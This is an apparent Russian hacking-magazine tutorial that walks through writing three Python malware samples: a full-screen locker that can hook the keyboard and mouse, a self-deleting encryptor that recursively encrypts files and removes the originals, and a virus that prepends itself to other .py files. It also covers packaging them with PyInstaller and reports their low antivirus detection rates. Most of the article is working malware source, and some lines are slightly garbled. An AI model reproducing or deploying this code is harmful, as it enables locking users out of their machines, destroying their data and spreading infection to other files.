Найти:

- Взлом
- Приватность
- Трюки
- Кодинг
- Админ
- Geek
- Обучение
- Магазин

- Windows
- Linux
- Android
- Железо
- Мессенджеры
- Утечки
- Коронавирус
- Все выпуски «Хакера»

### Содержание статьи

- Настройка среды
- Локер
- Шифровальщик
- Вирус
- Делаем исполняемый файл
- Заключение

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно ты попрактикуешься в использовании этого языка и сможешь применять полученные знания в других целях. К тому же малварь на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на нее внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

## INFO

Тема удаленного администрирования зараженных машин осталась за рамками этой статьи, однако ты можешь почерпнуть основу для кода со всеми объяснениями в статье «Reverse shell на Python».

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давай сразу договоримся: запускать все, что мы здесь описываем, ты будешь только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

## WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

## Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю тебя скачивать бесплатную книгу «Укус питона» (PDF). В ней ты найдешь ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

    pip install pyAesCrypt
    pip install pyautogui
    pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

## Локер

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

    import pyautogui
    from tkinter import Tk, Entry, Label
    from pyautogu соi import click, moveTo
    from time import sleep

Теперь возьмемся за основную часть программы.

    # Создаем окно
    root = Tk()
    # Вырубаем защиту левого верхнего угла экрана
    pyautogui.FAILSAFE = False
    # Получаем ширину и высоту окна
    width = root.winfo_screenwidth()
    height = root.winfo_screenheight()
    # Задаем заголовок окна
    root.title('From "Xakep" with love')
    # Открываем окно на весь экран
    root.attributes("-fullscreen", True)
    # Создаем поле для ввода, задаем его размеры и расположение
    entry = Entry(root, font=1)
    entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
    # Создаем текстовые подписи и задаем их расположение
    label0 = Label(root, text="╚(•⌂•)╝ Locker by Xakep (╯°□°）╯︵ ┻━┻", font=1)
    label0.grid(row=0, column=0)
    label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
    label1.place(x=width/2-75-130, y=height/2-25-100)
    # Включаем постоянное обновление окна и делаем паузу
    root.update()
    sleep(0.2)
    # Кликаем в центр окна
    click(width/2, height/2)
    # Обнуляем ключ
    k = False
    # Теперь непрерывно проверяем, не введен ли верный ключ
    # Если введен, вызываем функцию хулиганства
    while not k:
        on_closing()

Здесь `pyautogui.FAILSAFE = False` — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (`sleep`) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давай настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

    import pythoncom, pyHook

    hm = pyHook.HookManager()
    hm.MouseAll = uMad
    hm.KeyAll = uMad
    hm.HookMouse()
    hm.HookKeyboard()
    pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

    def callback(event):
        global k, entry
        if entry.get() == "xakep":
            k = True

Тут все просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

    def on_closing():
        # Кликаем в центр экрана
        click(width/2, height/2)
        # Перемещаем курсор мыши в центр экрана
        moveTo(width/2, height/2)
        # Включаем полноэкранный режим
        root.attributes("-fullscreen", True)
        # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
        root.protocol("WM_DELETE_WINDOW", on_closing)
        # Включаем постоянное обновление окна
        root.update()
        # Добавляем сочетание клавиш, которое будет закрывать программу
        root.bind('<Control-KeyPress-c>', callback)

На этом наш импровизированный локер готов.

## Шифровальщик

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

    direct = input("Напиши атакуемую директорию: ")
    password = input("Введи пароль: ")

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

    with open("Crypt.py", "w") as crypt:
        crypt.write('''
        текст программы
        ''')

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

    import os
    import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

    def crypt(file):
        import pyAesCrypt
        print('-' * 80)
        # Задаем пароль и размер буфера
        password = "'''+str(password)+'''"
        buffer_size = 512*1024
        # Вызываем функцию шифрования
        pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
        print("[Encrypt] '"+str(file)+".crp'")
        # Удаляем исходный файл
        os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов `os.remove(file)` нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

    def walk(dir):
        # Перебор всех подпапок в указанной папке
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            # Если это файл, шифруем его
            if os.path.isfile(path):
                crypt(path)
            # Если это папка, рекурсивно повторяем
            else:
                walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

    walk("'''+str(direct)+'''")
    os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

    import os
    import sys

    def crypt(file):
        import pyAesCrypt
        print('-' * 80)
        password = "'"+str(password)+"'"
        buffer_size = 512*1024
        pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
        print("[Encrypt] '"+str(file)+".crp'")
        os.remove(file)

    def walk(dir):
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            if os.path.isfile(path):
                crypt(path)
            else:
                walk(path)

    walk("'''+str(direct)+'''")
    print('-' * 80)
    os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

    import os
    import sys

    # Функция расшифровки
    def decrypt(file):
        import pyAesCrypt
        print('-' * 80)
        password = "'''+str(password)+'''"
        buffer_size = 512 * 1024
        pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
        print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
        os.remove(file)

    # Обход каталогов
    def walk(dir):
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            if os.path.isfile(path):
                try:
                    decrypt(path)
                except Error:
                    pass
            else:
                walk(path)

    walk("'''+str(direct)+'''")
    print('-' * 80)
    os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (`try...except`). То есть, если не получится расшифровать файл, мы его просто пропускаем.

## Вирус

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

    import sys
    import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

    def code(void):
        print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

    code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

    def walk(dir):
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            # Если нашли файл, проверяем его расширение
            if os.path.isfile(path):
                # Если расширение — py, вызываем virus
                if (os.path.splitext(path)[1] == ".py"):
                    virus(path)
                else:
                    pass
            else:
                # Если это каталог, заходим в него
                walk(path)

## INFO

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав `os.getcwd()`).

В начале и в конце файла пишем вот такие комментарии:

    # START #
    # STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

    def virus(python):
        begin = "# START #\n"
        end = "# STOP #\n"
        # Читаем атакуемый файл, назовем его copy
        with open(sys.argv[0], "r") as copy:
            # Создаем флаг
            k = 0
            # Создаем переменную для кода вируса и добавляем пустую строку
            virus_code = "\n"
            # Построчно проходим заражаемый файл
            for line in copy:
                # Если находим маркер начала, поднимаем флаг
                if line == begin:
                    k = 1
                    # Добавляем маркер в зараженный код
                    virus_code += begin
                # Если мы прошли начало, но не дошли до конца, копируем строку
                elif k == 1 and line != end:
                    virus_code += line
                # Если дошли до конца, добавляем финальный маркер и выходим из цикла
                elif line == end:
                    virus_code += end
                    break
                else:
                    pass
        # Снова читаем заражаемый файл
        with open(python, "r") as file:
            # Создаем переменную для исходного кода
            original_code = ""
            # Построчно копируем заражаемый код
            for line in file:
                original_code += line
                # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
                if line == begin:
                    vir = True
                    break
                # Если маркера нет, опускаем флаг vir
                else:
                    vir = False
        # Если флаг vir опущен, пишем в файл вирус и исходный код
        if not vir:
            with open(python, "w") as paste:
                paste.write(virus_code + "\n\n" + original_code)
        else:
            pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

## Делаем исполняемый файл

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать наше творение вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем:

    pip install PyInstaller

И вводим команду

    PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можешь смело избавляться от всего, кроме экзешников, они будут лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

- файл Crypt.exe не понравился 12 антивирусам из 72;
- файл Locker.exe — 10 антивирусам из 72;
- файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видишь, содержимое любого из этих файлов насторожило далеко не все антивирусы.

## Заключение

Итак, мы написали три вредоносные программы, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код, так что здесь остается еще огромный простор для творчества.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самая простая самописная малварь может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

## WWW

- Полные версии исходных файлов

#### Оцени статью:

###### Что тебе понравилось больше всего?

Статья легкая и понятная Статья глубокая и подробная Интересуюсь этой темой Данные новые и актуальные Приятный стиль изложения

###### Что тебе не понравилось больше всего?

Статья поверхностная Статья слишком сложная Тема мне не интересна Данные устарели Неприятный стиль изложения
← Ранее Reverseveryday.com — бесплатный ресурс с задачами на реверс
Далее → Криптовалютную платформу BlockFi едва не взломали с помощью SIM swap
14 комментариев к записи Ядовитый питон. Пишем на Python простейшую малварь: локер, шифровальщик и вирус

#### Последние взломы

### HTB EarlyAccess. Эксплуатируем веб-уязвимости и мисконфиги Docker

### HTB Horizontall. Захватываем веб-сервер через уязвимости в Strapi и Laravel

### Препарируем P-Code. Как реверсить старый софт на Visual Basic

### HTB Anubis. Захватываем домен через сертификаты Active Directory

#### Компьютерные трюки

### Анатомия терминала. Осваиваем текстуальную графику

### Змей-стражник. Сигнализация для велосипеда из старого смартфона на Android

### M1 для хакера. Тестируем Homebrew, виртуалки, Docker и Node на новой архитектуре Apple

### Отключить всё! Ускоряем работу Windows 11 на старом железе

#### Свежие новости

- 12 часов назад

  ### Неизвестная хак-группа годами атаковала авиационный и транспортный секторы

- 13 часов назад

  ### Конференция ZeroNights 2022 состоится 23 июня 2022 года

- 15 часов назад

  ### Участник Team Xecuter получил 40 месяцев тюрьмы

- 16 часов назад

  ### Google выпустила срочное исправление для 0-day уязвимости в Chrome

- 1 день назад

  ### Накануне Супербоула клуб «Сан-Франциско Форти Найнерс» подвергся атаке шифровальщика

Вопросы по материалам и подписке: support@glc.ru
Отдел рекламы и спецпроектов: yakovleva.a@glc.ru
Контент 18+
Сайт защищен Qrator —
самой забойной защитой от DDoS в мире
Подписка для физлиц
Подписка для юрлиц
Реклама на «Хакере»
Контакты
Posting....
wpDiscuz